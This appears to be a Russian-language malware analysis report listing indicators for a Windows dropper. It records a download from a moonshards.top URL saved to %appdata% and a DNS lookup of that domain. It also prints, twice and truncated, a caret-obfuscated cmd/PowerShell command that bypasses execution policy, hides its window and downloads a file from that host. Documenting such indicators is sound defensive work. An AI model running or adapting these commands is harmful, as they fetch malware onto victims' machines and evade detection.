Техническая информация
- http://moonshards.top/search.php как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "p^ow^E^rsheLl^.eXE -ExEcUT^ioNPolicY^ bY^PA^ss^ -nOprofIl^E^ ^-w^IndO^WstYLe^ ^HIDdEN^ (^NEW-^OB^J^Ect ^sYSt^e^m.N^E^t.^w^ebcli^E^nt^).DoW^n^LOAD^F^iLe(^'http://moonshards.t...
- DNS ASK mo###hards.top
- '<SYSTEM32>\cmd.exe' /c "p^ow^E^rsheLl^.eXE -ExEcUT^ioNPolicY^ bY^PA^ss^ -nOprofIl^E^ ^-w^IndO^WstYLe^ ^HIDdEN^ (^NEW-^OB^J^Ect ^sYSt^e^m.N^E^t.^w^ebcli^E^nt^).DoW^n^LOAD^F^iLe(^'http://moonshards.t...' (со скрытым окном)